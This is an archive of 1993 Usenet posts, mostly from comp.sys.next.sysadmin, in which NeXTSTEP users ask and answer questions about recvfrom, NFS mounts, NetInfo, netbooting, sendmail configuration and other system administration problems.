| mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz |
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Re: Problems with recvfrom(2) Date: 5 Feb 1993 04:09:09 GMT Organization: The University of Maryland, College Park Message-ID: <1ksp95INN573@ni.umd.edu> References: <1993Feb4.091953.21794@udel.edu> Keywords: recvfrom, UDP In article <1993Feb4.091953.21794@udel.edu> stark@superc.che.udel.edu writes: > >Has anyone had experience using the recvfrom(2) call using >a UDP protocol? I can not get an example program from Stevens >"UNIX Network Programming" book to work because the recvfrom >call fails. The error message is bad address. The example works >fine on an RS6000 and Sun4. Yes, it works fine. Here is a paraphrased sample of code that I use. The function is called when select() indicates that the 'sock' file descriptor is ready for reading. int udp_sock_receive(int sock) { char buf[1024]; int len; struct sockaddr_in from; int fromlen = sizeof(from); len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&from, &fromlen); if (len < 0) { syslog(LOG_DEBUG, "recvfrom: %m"); return -1; } if (process_the_buffer(&buf, &len, sizeof(buf)) > 0) if (sendto(sock, buf, len, 0, (struct sockaddr *)&from, fromlen) < 0) syslog(LOG_DEBUG, "sendto: %m"); return 0; } I took a quick look in my Stevens book, but didn't find the example in question. Could you be more specific? If you are getting a "Bad Address" error, could it be that your passing a bad buffer for sockaddr_in pointer to recvfrom() ? louie
From: maurices@spock.dis.cccd.edu (Maurice Shihadi) Newsgroups: comp.sys.next.sysadmin Subject: Terminal Emulation for an HP9000/817s? Date: 4 Feb 1993 22:45:52 -0800 Organization: Coast Community College District, Costa Mesa, CA Distribution: world Message-ID: <1kt2f0INNjuj@spock.dis.cccd.edu> Hi, I wish to dial into my site to read and send mail and have a Dove/Fax 2400 baud modem. Kermit is driving me crazy with all the extra characters and all. Is there a public domain package out there that will set everything automatically and return things back to their original state when I log out and switch my modem back to "private" for faxing? We use trn, trrn and elm on our HP and I'd like to have the same flexibility on the NeXTstation. I can't remember off hand the terminal spec but any advice would be helpfull. Also, access to ttya in NS 3.0 isn't happening. Does one still have to manually change the baud rate when using 9600 and 2400 on the same port? maurices
Newsgroups: comp.sys.next.sysadmin From: rainer@ruble.fml.tuwien.ac.at (Rainer Staringer) Subject: University NeXT labs? Message-ID: <1993Feb5.121325.7565@email.tuwien.ac.at> Sender: news@email.tuwien.ac.at Organization: Technical University of Vienna Date: Fri, 5 Feb 1993 12:13:25 GMT A question to all university NeXT users out there: Our university department runs a 2-term course in which teams of CS students learn the principles of software engineering by doing a medium sized software project together (the whole life-cycle: designing, implementing, testing, ...). We have been using PCs till now, but are planning to change to a UNIX lab and to introduce the students to a modern software engineering environment. We are now in the planning phase for a UNIX lab with ~ 60 seats that will be used mainly for software development and documentation. Most probably the lab will consist of 4 servers with 16 client workstations (PCs or X-terminals) each. We are presently considering Sun SS 10-30 workstations (128MB RAM, 3GB disk) as servers. Because the funds for the clients and the servers come from two different sources the clients have to be as cheap as possible (small disks, ...), so we will have to make heavy use of NFS. We are considering NeXTstep (most probably NS486 on PC hardware) for the client workstations, because of its powerful development environment, which some of us already know and like. Others don't know it yet, so we are also searching for good arguments in favor of NeXTstep. :-) Are there any existing NeXT labs at other universities which are used for similar purposes? We would be very interested in any advice or experiences you have to share: What servers and network topology do you use, how difficult is administration (security problems, ...), what course notes do you use in teaching NeXTstep programming, ...? Thanks in advance for any help! -- Rainer Staringer | rainer@fml.tuwien.ac.at Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
From: taylor@math.vt.edu (Frank Taylor) Newsgroups: comp.sys.next.sysadmin Subject: cancel <11556@vtserf.cc.vt.edu> Message-ID: <11609@vtserf.cc.vt.edu> Date: 5 Feb 93 14:50:39 GMT References: <11556@vtserf.cc.vt.edu> Control: cancel <11556@vtserf.cc.vt.edu> Sender: usenet@vtserf.cc.vt.edu Organization: Mathematics Department, Virginia Tech University Originator: taylor@corona.math.vt.edu <11556@vtserf.cc.vt.edu> was cancelled from within rn.
Newsgroups: comp.sys.next.sysadmin From: chris@iesd.auc.dk (Christian Callsen) Subject: Simple question about Host-setup! Message-ID: <CHRIS.93Feb5161526@born.iesd.auc.dk> Sender: news@iesd.auc.dk (UseNet News) Organization: Mathematics and Computer Science, Aalborg University Distribution: comp Date: 5 Feb 93 16:15:26 I am setting my machine up as a standalone un-connected NeXT with the name ('imladris') using the "local" menu-entry in HostManager. That seems to be working. My problem is the following: '/usr/etc/ping imladris' responds with: "unknown host: imladris" Likewise, 'Emacs' reports the same problem: "unknown host: imladris" However, 'hostname' responds with "imladris". Does anyone have a clue about what I am doing wrong here? Am I missing something? (and if you know, could you please tell me.. :^>) Chris -- __ | Christian J. Callsen [ chris@iesd.auc.dk ] / ) / | Department of Mathematics and Computer Science, / /_ __ o _ | Frederik Bajers Vej 7E, Aalborg University (__/ / /_/ (_<_/_)_ | 9220 Aalborg 0st, DENMARK { Sm:^>le and be Happy Today! }
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.sun.admin Subject: Names of child processes Keywords: child process fork Message-ID: <7564@ucsbcsl.ucsb.edu> Date: 2 Feb 93 23:57:57 GMT Sender: root@ucsbcsl.ucsb.edu Followup-To: comp.sys.next.programmer Organization: Center for Computer Music Research and Composition, UCSB If a process is started via a shell or exec() with a set of arguments or flags, and then that process forks to produce several child processes, all of which continue to run, what should be the expected name of the child processes, according to "ps xw"? Should the child processes' names include the argument list as well? I ask this because I am getting inconsistant results. Sometimes a 'ps xw' shows the parent process, with all of its flags, etc., and the children are shown with the same flags attached. Other times the children have no arguments at all-just the name of the program. This is important to me because the program I am updating expects to find a certain argument string as part of the process name for *all* the child processes, and this is not happening consistantly. Please respond via email, if possible. Thanks in advance. -- Douglas Scott (805)893-8352 Center for Computer Music Research and Composition University of California, Santa Barbara Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: NFS mounts in NeXTStep 3.0 (they suck?) Date: 5 Feb 1993 15:38:11 GMT Organization: University of Houston Message-ID: <1ku1l3INNce2@menudo.uh.edu> References: <1993Feb5.005213.10817@mb3.tu-chemnitz.de> In article <1993Feb5.005213.10817@mb3.tu-chemnitz.de> Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky) writes: #In article <1993Feb4.222843.25990@leland.Stanford.EDU> #collis@lele-next2.Stanford.EDU (Samuel Scott Collis) writes: #> Help.... #> #> We have experienced problems NFS mounting NeXT's running NS 3.0 on a SGI #> personal Iris. We have several NeXT's still running 2.0 and their mounts #> work fine. However, the mounts for the NS 3.0 computers are unreliable, #> sometimes they work, sometimes they don't. Has anyone else had problems #> with NFS on 3.0? What is really interesting is that mounting NeXT to NeXT #> seems to allways work, regardless of the version of NeXTStep. #> #> I would really appreciate any help on this problem. It is severly #> troublesome! #> #We have various big NFS problems too. I can't say if there are differences #between NS 2 and NS 3 because all our NeXTs are running NS 3. What I could see #is exporting parts of the root filesystem (the internal disk) works for us with #no problems. The trouble begins if I try to export parts from my external disk. #Especially if I try to export the home dirs (located on the first partition of #the external disk) I'm running into big problems. The home directories could be #mounted and used on the other machines with no problems if I don't use access #restrictions (exporting the directories with public access worldwide) If I deny #the public access so that only the machines which are listed explicitly for ro, #rw or root access can mount the exported directory I get authentication errors #(weak authentication) for this machines (no matter if the importing machine is #a NeXT running 3.0 or some other (Sun, HP)) #But I think granting public access could really not be the solution (except the #abbreviation NFS stands really for No File Security ;-) #Another problem with NFS I can see if I try to export parts of the second #partition of the external disk. The whole partition is exported with public ro #access because it is a part of our ftp-server. From time to time I get the #following error messages from our ftp-server(s) which have mounted the exported #disk #Feb 4 05:30:16 steve mach: nfs_server: bad sendreply from xx.xx.xx.xx #Feb 4 05:32:12 steve mach: svckudp_send: xdr_replymsg failed #and the access from the remote machine is impossible for a indefinite time. # #Sorry I don't have a solution for all these NFS problems. I think it's time for #some bug-fixes for the NS 3 implementation of NFS. # #Cheers, Christian # #-- #Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | #Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | #FAX: +49 371 561 2413 | Reichenhainer Str. 70 | #mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz | When you have these problems do a "ps -aux | grep lookupd" and see what lookupd is doing. There seems to be a problem with the way NeXT does Netgroups which is/can be used for NFS mounting (ie. access=group1:group2 vs access=host1:host2:host3:...:hostn). If lookupd is sucking cpu (more than 8%) then you have inconsistant netgroups in your NetInfo database. Make sure all machines belong to a group if you use netgroups. One common symptom of inconsistant netgroups in NetInfo is the following: RPC: Timed out (especially when mounting remount filesystems)... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: rprice@cbnewsg.cb.att.com (rodney.price) Subject: users on external disk Message-ID: <1993Feb5.192845.16640@cbfsb.cb.att.com> Keywords: users on external disk Sender: news@cbfsb.cb.att.com Organization: AT&T Date: Fri, 5 Feb 1993 19:28:45 GMT I've recently bought an external SCSI drive for my mono slab, while keeping the internal 200 MB drive intact. I connected the external drive and powered it up, had the Workspace initialize it (I'm using NextStep 2.1), and everything worked fine. Now I'd like to move my user accounts over to the new disk, but I find some odd behavior when I do so. I started with the "me" account by using UserManager to remove the old "me" account, then copy the files over to the external disk, then create a new "me" account with the new home directory as "/external/me." I get the account as expected, but now the external disk icon changes to the one for a removable hard drive, and I can't use the recycler in the "me" account. When I drag something to the recycler, I get an alert panel telling me that my file will be destroyed immediately. Before trying this I tried changing the home directory entry in UserManager, then copying over the files to the new home directory, but this never "took." Everytime I logged onto the "me" account, I found myself in the directory on the old disk. I'm about to the point of simply putting in a link from my old home directory to the external disk, but I'd really rather do it right. Any ideas? Thanks, Rod Price rprice@physics.att.com
From: woneill@cronkite.ocis.temple.edu (Bill O'Neill) Newsgroups: comp.sys.next.sysadmin Subject: Netbooting NeXT no longer works Message-ID: <1993Feb5.200947.22691@cronkite.ocis.temple.edu> Date: 5 Feb 93 20:09:47 GMT Organization: Temple University We have a NeXTstation that had been booting off of a NeXTCube without any problems until recently. Now, upon starting up the NetBoot client machine it can determine it's hostname and domainname then I get the error message: NFS write error 30 on host followed by the NeXTBoot hostname and strings of what look like hex numbers. I checked to see the settings for NFS mounting hadn't changed so I'm at a loss. Anyone have ideas as to how to correct the NFS error so it can boot? -- <cut along dotted line> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Bill O'Neill The Woneill Temple University woneill@picasso.ocis.temple.edu
Newsgroups: comp.sys.next.sysadmin From: roland@kocher.cube.de (Roland Kocher) Subject: Re: Fonts on Mac HD: How to easily access under 3.0? Message-ID: <1993Feb3.235632.354@kocher.cube.de> Sender: roland@kocher.cube.de Organization: Kocher Software-Entwicklung References: <1993Feb1.232947.15429@galileo.cc.rochester.edu> Date: Wed, 3 Feb 1993 23:56:32 GMT In article <1993Feb1.232947.15429@galileo.cc.rochester.edu> jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes: > I have a 20 meg Hard Drive filled with fonts and their respective AFM files. > The HD has been formatted as a Mac HD, and I got the fonts from my Mac. I'd > like to access the fonts and put them into my Station, but the first step is > to get them all of the HD and into my NeXT. I can see the filenames, and I > can actually view the data within the files using Edit and specifying > "fontname.#rsrc#" to load them. However: I can't view that very same data > from a terminal window by typing "cat fontname.#rsrc#" > > Is there a trick in 3.0 that lets me access the invisible fork on Mac files > more easily than what I'm doing? > > Is there a manual on how to do this? For instance, where did that first > person find the method of adding ".#rsrc#" to filenames? I suppose it's in > the on-line manuals, but I can't find it. It seems fairly silly to let one > mount Mac HDs and then not be able to access the data on them. BTW: Does > the program "mfrc" works under 3.0? Does it work at all? It says that it > will convert Mac fonts to NeXT, and I'm sincerely hoping that it still > works. > > -- > John Todd | University of Rochester, Rochester NY USA Earth Milky Way > CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo > Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused > jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu If you want to convert Mac-Fonts directly, you have to use MagicType. You can get MagicType from Nextpoint, Germany. eMail:info@nextpoint.de
Control: cancel <9302050048.AA08643@gaul.csd.uwo.ca> Newsgroups: comp.sys.next.sysadmin From: gee@gaul.csd.uwo.ca (Gregory W. Gee) Subject: cmsg cancel <9302050048.AA08643@gaul.csd.uwo.ca> Organization: Computer Science Dept., Univ. of Western Ontario, London, Canada Date: Fri, 5 Feb 1993 21:49:17 GMT Message-ID: <1993Feb5.214917.6107@julian.uwo.ca> Originator: gee@gaul.csd.uwo.ca References: <9302050048.AA08643@gaul.csd.uwo.ca> Sender: news@julian.uwo.ca (USENET News System) <9302050048.AA08643@gaul.csd.uwo.ca> was cancelled from within trn. -- **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted Honours Computer Science, University of Western Ontario
From: rane+@cs.cmu.edu (Aaron Hughes) Newsgroups: comp.sys.next.sysadmin Subject: Help- bogus upgrade to 3.0 Message-ID: <C1zyIH.MMp.2@cs.cmu.edu> Date: 5 Feb 93 22:30:12 GMT Article-I.D.: cs.C1zyIH.MMp.2 Sender: news@cs.cmu.edu (Usenet News System) Organization: School of Computer Science, Carnegie Mellon Hello - I upgraded a slab to 3.0 today and everything went fine until it asked me which laguage I wanted to use, so I clicked english and nothing happened - the panel disappears for a minute or so and then reappears - this happens no matter what I do - rebooting, powering of etc - it keeps coming back to the -panel. Suggestions? thanks, Aaron -- Aaron Hughes DoD#0482 The Freedom Junkie rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: sritchie@cs.ubc.ca (Stuart Ritchie) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software Subject: Re: Binaries which would like to be run as root Date: 5 Feb 1993 18:04:15 -0800 Organization: Computer Science, University of B.C., Vancouver, B.C., Canada Message-ID: <1kv6avINNjn7@stephen.cs.ubc.ca> References: <1993Feb5.235524.21620@blaze.cs.jhu.edu> In article <1993Feb5.235524.21620@blaze.cs.jhu.edu> swiet@poincare.cs.jhu.edu (Alexander Swietlicki) writes: [about running the game Oxyd as root] > > Beware! > > Alex Yes, beware of Oxyd! You will get *no work done* until you complete the 10 levels. Trust me. By then, you'll be so hopelessly addicted that sending $42 for the book is no problemo. Great game BTW. Probably the best on NS right now. Of course now that NeXT engineers are busy writing games (XoX), this picture could change :-)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software From: swiet@poincare.cs.jhu.edu (Alexander Swietlicki) Subject: Binaries which would like to be run as root Message-ID: <1993Feb5.235524.21620@blaze.cs.jhu.edu> Sender: news@blaze.cs.jhu.edu (Usenet news system) Organization: Johns Hopkins Computer Science Department, Baltimore, MD Date: Fri, 5 Feb 1993 23:55:24 GMT Has anyone taken a look at "OxydGame" from the submissions directory at nova.cc.purdue.edu? Try to launch the app, and it says it must be run once as root. Take a look at the Readme, and it says to either log in as root and run it, or change it to suid root. The sources are no where to be found. I dare not follow these instructions! Beware! Alex
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: knudsens@newton.ccs.tuns.ca (Steven K Knudsen) Subject: Accessing a printer connected to a Quadra under A/UX 3.0 Message-ID: <1993Feb5.214508.6250@newton.ccs.tuns.ca> Date: Fri, 5 Feb 1993 21:45:08 GMT Distribution: na Organization: Technical University of Nova Scotia, Halifax, N.S. Hello, I am trying to find a way to print files from my NeXTstations to a Laserwriter hooked up to my Quadra running A/UX 3.0. I have looked at the NeXTStep AppleTalk package, but it is my understanding that it expects to be connected to a Mac running EtherTalk and acting as an AppleShare/Server machine (perhaps I'm mistaken) or that is connected to an AppleTalk network. A Mac under A/UX is not allowed to be an AppleShare server. If I tell the Mac to use EtherTalk, I can no longer choose the printer from the Chooser and it doesn't show up when I issue the A/UX command atlookup (AppleTalk lookup). THe Mac is running TCP/IP and NFS, and they seem alright (e.g., I can remotely mount a file system on the NeXT or on a Sparc. I have looked at CAP (Columbia AppleTalk Package) but it seems to require a certain hardware box to do the routing. (?) Is there anyway that I can get the NeXT to use the mac printer? Please e-mail responses and I'll summarize if people are interested. -- K. Steven Knudsen | The lasers are in the labs, the old TUNS | man is dressed in white clothes. Department of Electrical Engineering | Everybody says that he's mad - knudsens@tuns.ca | Nobody knows the things that he knows.
From: bmwu@athena.mit.edu (Benson M. Wu) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin Subject: Help format HP 1.2 Gig HD Date: 6 Feb 1993 02:27:43 GMT Organization: Massachusetts Institute of Technology Distribution: na Message-ID: <1kv7mvINN8sn@senator-bedfellow.MIT.EDU> Keywords: HP C2247 3.5" HD, NeXTStep 3.0 I am running NeXTStep 2.1 on a 68040 Cube with 24 megs of RAM and a Fujitsu 660 meg HD. I just received my NeXTStep 3.0 CD-ROM drive and disk. I also got an 3.5" 1.2 GIG HP C2247 (half-height) HD. The HP HD is an internal one. I plan to get a case to convert it into an external one and then format it so that I can put NeXTStep 3.0 on it without disturbing the NeXTStep 2.1 system on my internal Fujitsu HD. My questions are: 1. Is this possible? Has anyone formatted and built NeXTStep 3.0 on an external HD? Is there any caveat? 2. Does anybody have any disktab entries for this HP HD? I would like to partition it if possible, but I don't know how to do the disktab entries. 3. Is there anything I need to be aware when I convert this HD into an external HD? Please reply to me at bmwu@athena.mit.edu (NO NeXTMail please). Thanks in advance for your help. Best regards, Benson M. Wu bmwu@athena.mit.edu (NO NeXTMail please)
Newsgroups: comp.sys.next.sysadmin From: beksten@ucqais.cba.uc.edu (Brick Eksten) Subject: Can't install old software. Message-ID: <51@ucqais.cba.uc.edu> Keywords: 2.1 3.0 Ensampble Sender: root@babbage.ece.uc.edu (Operator) Organization: University of Cincinnati, College of Business Distribution: US Date: Wed, 3 Feb 1993 05:00:41 GMT I would like to install some of the old 2.1(ish) examples on my mono station running 3.0. Is this possible? I tried installing them from the CD but it just kinda ignores me. -- Brick Eksten Eco Development beksten@ucqais.cba.uc.edu % If this ain't fun I don't know what fun is? % EcoDev@cup.portal.com
Newsgroups: comp.sys.next.sysadmin From: bnocker@cosy.sbg.ac.at (Bernhard Nocker) Subject: HELP with ZyXEL U-1496E Message-ID: <C21764.CvK@cosy.sbg.ac.at> Keywords: modem ZyXEL Sender: news@cosy.sbg.ac.at Organization: University of Salzburg / Austria Date: Sat, 6 Feb 1993 14:34:51 GMT Hi all! I have a serious problem concerning the hardware password on a ZyXEL U-1496E modem. After entering at*hs to change the password I entered the old password correctly but instead of entering a new password I "simply" pressed the return key. Now I cannot access the hardware password again. Has anyone seen that too? What to do? Any help, comments and suggestions greatly appreciated. Bernhard -- Bernhard Nocker University of Salzburg's Department of Computing Studies Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at Fax: +43-662-8044/6316 or +43-662-8044/611
From: herzog@ux5.lbl.gov (Hanan Herzog) Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Risks of updating /etc/fstab for new disk Followup-To: comp.sys.next Date: 6 Feb 1993 21:37:49 GMT Organization: Lawrence Berkeley Laboratory Distribution: world Message-ID: <1l1b3dINN8cc@overload.lbl.gov> Hi, An external hard disk has been added to a Next cube. The people who originaly started the installation did not update /etc/fstab to accomodate the new disk with file access protection etc., If I update /etc/fstab to account for the external disk is there any risk of losing what is on the internal drive? I don't care if I loose everything on the external, not much is there anyway. Currently there is one line in /etc/fstab -- for the old internal drive. Please reply by e-mail. Hanan e-mail: herzog@lbl.gov
Newsgroups: comp.sys.next.sysadmin From: hogan@boetius (Kharim Hogan) Subject: How to disable logins on one machine? Help!! Message-ID: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> Sender: news@thunder.mcrcim.mcgill.edu Organization: Los Alamos National Laboratory, NM Date: Thu, 4 Feb 93 19:21:36 GMT Hi, Is it possible to disable network accounts on one machine? We need to be able to dedicate one of our machines (which sits in a public lab) to one project for a few months. Since all users have network accounts, probably the easiest way to restrict this machine would be to disallow logins on only that machine. Is there any relatively simple way to do this without having to move the machine to a private office (which is not an option at this point)? i.e. only those working on the project could login to this machine although the machine must remain on the network. Any help or pointers appreciated. Thanks, Kharim -- ************************************************************************* Kharim M. Hogan Systems Administrator hogan@music.mcgill.ca Faculty of Music, McGill University *************************************************************************
Newsgroups: comp.sys.next.sysadmin From: mckelvey@fafnir.com (James W. McKelvey) Subject: Readonly Domains Message-ID: <C227Hx.79@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA Date: Sun, 7 Feb 1993 03:39:33 GMT When I try to modify the Netinfo database from a host NOT the Netinfo server, I usually get a message like "readonly domain, cannot change". But the domain is not readonly, and can be changed from the server. I thought the only readonly domains were on clone servers. This happened after I was out for a day, and someone else "fixed" some problems. Is there a way to fix this, or must I reinstall the Netinfo database? -- The gentle journey jars to stop. The drifting dream is done. The long gone goblins loom ahead; the deadly, that we thought were dead, stand waiting, every one. -- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin From: steved@bankone.com Subject: nntp Message-ID: <1993Feb5.185333.3053@bankone.com> Keywords: nntp,news Sender: steved@bankone.com (Steve Dieringer) Organization: Bank One, Columbus NA Date: Fri, 5 Feb 1993 18:53:33 GMT I'm trying to get nntp compiled. Does anyone have any suggestions, hints, tips, or compiled binaries? I'm getting the following error: cd server; make "LIBS=-lcnews" "CFLAGS=-O -I/usr/local/include /usr/local/lib/dbz.o" cc -O -I/usr/local/include /usr/local/lib/dbz.o -c main.c main.c: In function `main': main.c:226: `LOG_NEWS' undeclared (first use this function) main.c:226: (Each undeclared identifier is reported only once main.c:226: for each function it appears in.) *** Exit 1 Stop. Thanks, Steve -- Steve Dieringer NeXTMail: steved@bankone.com (formerly steved@essex.com)
Newsgroups: comp.sys.next.sysadmin From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) Subject: Remote Mail? Date: Sun, 7 Feb 1993 17:53:57 GMT Message-ID: <C23B1y.Mo7@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana I would like to read my mail that I have on a remote machine. I tried: open Mailboxes/Active.mbox -NXHost pegasos.ccsr.uiuc.edu but that didn't work. Any suggestions? Thanks, -- Gottfried Mayer-Kress Center for Complex Systems Research, Department of Physics 3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801 gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail) gmk@goshawk.lanl.gov, gmk@santafe.edu (217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) Subject: FAX format conversion? Date: Sun, 7 Feb 1993 18:04:28 GMT Message-ID: <C23BJG.Mu8@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana It looks like FAXes are implicitely defining a new image format standard. Is there an elegant way to convert images into fax format WITHOUT sending them through a FAX? Thanks, -- Gottfried Mayer-Kress Center for Complex Systems Research, Department of Physics 3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801 gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail) gmk@goshawk.lanl.gov, gmk@santafe.edu (217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin Subject: Dwriting to 2-bit color Message-ID: <1993Feb7.115727.1389@yvax.byu.edu> From: feijai@endor.byu.edu (Sean Luke) Date: 7 Feb 93 11:57:27 -0700 Sorry if this is FAQ by now. We've upgraded to 3.0, and have found the Workspace Manager...slow and ponderous when scrolling or doing screen updates. We have no color machines in our little network out here. Can anyone tell me what the dwrite command was to set an application (in particular, the Workspace Manager, Mail, Preferences, etc.) to 2-bit? Thanks very much -- Sean Luke Brigham Young University MILK: It Comes From Cows sean@digaudio.byu.edu NeXTmail and nifty Mac stuff welcome
From: dan@quiensabe.az.stratus.com (Dan Danz) Newsgroups: comp.sys.next.sysadmin Subject: Re: Dwriting to 2-bit color Message-ID: <1l431t$foj@transfer.stratus.com> Date: 7 Feb 93 22:38:53 GMT References: <1993Feb7.115727.1389@yvax.byu.edu> Organization: Stratus Computer Inc, Marlboro MA Sean Luke writes > We've upgraded to 3.0, and have found the Workspace Manager...slow and > ponderous when scrolling or doing screen updates. We have no color machines > in our little network out here. Can anyone tell me what the dwrite command > was to set an application (in particular, the Workspace Manager, Mail, > Preferences, etc.) to 2-bit? dwrite GLOBAL NXWindowDepthLimit TwoBitGray -- L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com Sr Consulting Software SE NeXT Mail: dan@az.stratus.com Customer Assistance Center Voice Mail/Pager: (602) 852-3107 Telecommunications Division Customer Service: (800) 828-8513 Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
From: oscar@msen.com (Oscar Linares) Newsgroups: comp.sys.next.sysadmin Subject: TCP/IP SunSPARC <- NeXT Date: 8 Feb 1993 01:43:18 GMT Organization: Msen, Inc. -- Ann Arbor, Michigan Message-ID: <1l4ds4INNf8g@nigel.msen.com>
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: jonv@ptnext.claremont.edu (Jon Vestal) Subject: Help with TCL Message-ID: <1993Feb8.010632.7546@muddcs.claremont.edu> Sender: news@muddcs.claremont.edu (The News System) Organization: Harvey Mudd College, Claremont, CA 91711 Date: Mon, 8 Feb 1993 01:06:32 GMT Hi, Can someone give me some insight on how to compile TCL for NS 3.0. I am trying to get Expect up and running and it needs TCL. Thanks. Jon Vestal Systems Technician Pitzer College jonv@ptnext.clarmeont.edu (NeXT Mail)
Newsgroups: comp.sys.next.sysadmin Subject: Can't get incoming mail to work! Message-ID: <1993Feb7.202921.15473@miavx1.acs.muohio.edu> From: mgjones@miavx1.acs.muohio.edu (Mike 'Felix' Jones) Date: 7 Feb 93 20:29:21 -0500 Organization: Miami University Academic Computer Service" Hello all, I am having some trouble getting incoming mail working on a group of NeXT machines on a NetInfo network here. First of all, the setup -- The master NetInfo machine is a NeXTcube running NeXTStep 2.0. The hostname of this machine is "gluttony", a name it was given a while back. Now, however, that we have gotten internet service, it had been decided that we should use the internet name "nextsrv.cas.muohio.edu". Ok, so now we have name service with that internet address, but the host name is still gluttony. So I tried playing around with NetInfoMgr and created the alias "nextsrv". Well, that didn't fix my problem. Mailing to nextsrv.cas.muohio.edu still gave me the following bounce: (mesg deleted for space, but it was addressed to mgjones@nextsrv.cas.muohio.edu -- a valid account). ============[ bounced message header ]=============== From Mailer-Agent@gluttony. Ukn Feb 7 15:42:09 1993 Received: from apsvax.aps.muohio.edu by gluttony (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA00829; Fri, 14 Aug 92 17:37:40 EDT Date: Fri, 14 Aug 92 17:37:40 EDT From: Mailer-Agent@gluttony. (NeXT Mail Agent) Subject: Returned mail: Service unavailable Message-Id: <9208142137.AA00829@ gluttony > To: <mgjones> Status: RO X-Status: ----- Transcript of session follows ----- Connected to nextsrv.cas.muohio.edu: >>> HELO gluttony <<< 553 gluttony host name configuration error 554 <mgjones@nextsrv.cas.muohio.edu>... Service unavailable ----- Unsent message follows ----- ============[ End bounced header... ]=============== Well, at this point I thought maybe the host name had to match, so as an experiment, I changed the host name and tried again with the following results: (note: I changed the actual hostname to "nextsrv"). ============[ bounced message header ]=============== From Mailer-Agent@nextsrv.cas.muohio.edu Ukn Feb 6 16:16:46 1993 Received: from apsvax.aps.muohio.edu by nextsrv.cas.muohio.EDU (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA00285; Thu, 13 Aug 92 18:12:05 EDT Date: Thu, 13 Aug 92 18:12:05 EDT From: Mailer-Agent@nextsrv.cas.muohio.edu (NeXT Mail Agent) Subject: Returned mail: Service unavailable Message-Id: <9208132212.AA00285@ nextsrv.cas.muohio.EDU > To: <mgjones> Status: RO X-Status: ----- Transcript of session follows ----- Connected to nextsrv.cas.muohio.edu: >>> HELO nextsrv.cas.muohio.EDU <<< 553 nextsrv.cas.muohio.EDU host name configuration error 554 <mgjones@nextsrv.cas.muohio.edu>... Service unavailable ----- Unsent message follows ----- ============[ End bounced header... ]=============== Anyways, I just became the sysadmin for these NeXT machines, so I am not real knowledgable with the sendmail yet. Am I missing something obvious? Is there anyway I can get this to work while keeping the name as gluttony? Or should I rename it and keep it as nextsrv (not really preferred since all the users mount under /Net/gluttony/clients/Users/<user>...I'd rather not have to have them fix all the programs they have that use the absolute path). Any help or pointers to help will be greatly appreciated. E-Mail them to mgjones@miavx1.acs.muohio.edu. Thanks. --- Mike "Felix" Jones mgjones@miavx1.acs.muohio.edu
